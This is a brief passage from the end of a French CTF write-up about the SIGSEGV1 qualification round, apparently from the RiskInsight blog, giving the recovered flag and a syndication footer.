Le flag récupéré est alors sigsegv{W3llPl4y3d}.

Cet article [CTF] Writeup du round de qualification SIGSEGV1 est apparu en premier sur RiskInsight.